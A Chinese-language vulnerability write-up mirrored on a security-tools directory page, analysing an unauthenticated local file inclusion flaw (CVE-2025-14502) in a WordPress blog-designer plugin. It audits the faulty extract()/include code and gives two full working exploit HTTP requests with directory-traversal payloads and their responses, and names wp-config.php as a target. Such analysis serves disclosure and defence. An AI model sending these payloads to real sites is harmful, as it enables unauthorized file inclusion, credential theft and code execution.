Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — WordPress的News and Blog Designer Bundle插件在1.1及之前所有版本中,存在通过template参数导致的本地文件包含漏洞。该漏洞使得未经身份验证的攻击者能够包含并执行服务器上的任意.php文件,从而运行这些文件中的任何PHP代码。在允许上传和包含.php文件类型的场景下,攻击者可利用此漏洞绕过访问控制、获取敏感数据或实现代码执行。 | Kitploit
工具/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

WordPress的News and Blog Designer Bundle插件在1.1及之前所有版本中,存在通过template参数导致的本地文件包含漏洞。该漏洞使得未经身份验证的攻击者能够包含并执行服务器上的任意.php文件,从而运行这些文件中的任何PHP代码。在允许上传和包含.php文件类型的场景下,攻击者可利用此漏洞绕过访问控制、获取敏感数据或实现代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
27个月前尚未审核

CVE-2025-14502 漏洞分析报告

漏洞概述

漏洞类型: 本地文件包含 (Local File Inclusion, LFI)
影响版本: News and Blog Designer Bundle 1.1 及之前所有版本
严重程度: 高危
攻击复杂度: 低(无需认证)

漏洞原理分析

1. 漏洞位置

主要漏洞存在于 includes/class-nbdb-ajax.php 文件的 nbdb_fetch_more_post() 方法中。

2. 代码审计详情

2.1 漏洞代码位置

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 漏洞成因分析

问题1: extract() 函数的不当使用

第31行代码存在严重问题:

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • extract() 函数会将数组的键作为变量名,值作为变量值,直接提取到当前作用域
  • extract() 的返回值是成功提取的变量数量(整数),而不是数组本身
  • sanitize_text_field() 函数期望接收字符串参数,但这里传入的是整数
  • 因此这行代码实际上没有任何安全防护作用

问题2: 缺少参数验证

第33行直接使用 $template 变量构建文件路径:

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • $template 变量来自 extract($_POST['shrt_param']),完全由用户输入控制
  • 没有任何白名单验证
  • 没有任何路径规范化处理
  • 允许目录遍历攻击

问题3: 仅检查文件存在性

第34行只检查文件是否存在:

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() 只验证文件是否存在,不验证路径合法性
  • 如果攻击者能够控制 $template 参数,就可以通过 ../ 进行目录遍历
  • 最终在第93行执行 include($template_file),导致任意文件包含

2.3 对比:短代码处理函数的安全实现

在 shortcodes/class-nbdb-shortcode.php 中,所有短代码处理函数都使用了白名单验证:

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • 使用 nbdb_post_template() 函数获取允许的模板列表(仅 template-1 和 template-2)
  • 使用 array_key_exists() 进行白名单验证
  • 如果不在白名单中,则使用默认值 template-1

这证明了开发者知道如何正确验证参数,但在 AJAX 处理函数中遗漏了验证。

3. 攻击向量

3.1 未认证访问

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • 同时注册了 wp_ajax_ 和 wp_ajax_nopriv_ 钩子
  • wp_ajax_nopriv_ 允许未登录用户访问
  • 攻击者无需任何认证即可利用此漏洞

3.2 攻击流程

  1. 攻击者构造恶意 POST 请求到 /wp-admin/admin-ajax.php
  2. 设置 action=nbdb_fetch_more_post
  3. 在 shrt_param[template] 中注入目录遍历载荷(如 ../../../../wp-config)
  4. 服务器执行 extract($_POST['shrt_param']),将 template 提取为变量
  5. 构建路径:NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. 如果目标文件存在,file_exists() 返回 true
  7. 执行 include($template_file),包含并执行目标 PHP 文件

4. 漏洞影响

4.1 直接危害

  • 代码执行: 如果能够包含可执行的 PHP 文件,可能导致远程代码执行 (RCE)
  • 敏感信息泄露: 可以读取服务器上的 PHP 文件内容(如 wp-config.php)
  • 权限提升: 在某些配置下可能绕过访问控制

4.2 利用条件

  • 目标文件必须存在且可读
  • 目标文件必须是 .php 扩展名(代码中硬编码了 .php 后缀)
  • 服务器必须允许 include() 执行包含的文件,“能读取”的前提是:被 include 的 PHP 自己会有可见输出(echo/print/错误/协议响应),否则你看不到内容。

漏洞验证步骤

1、构造测试请求

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1、分析响应

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2、构造测试请求

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1、分析响应

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
下载工具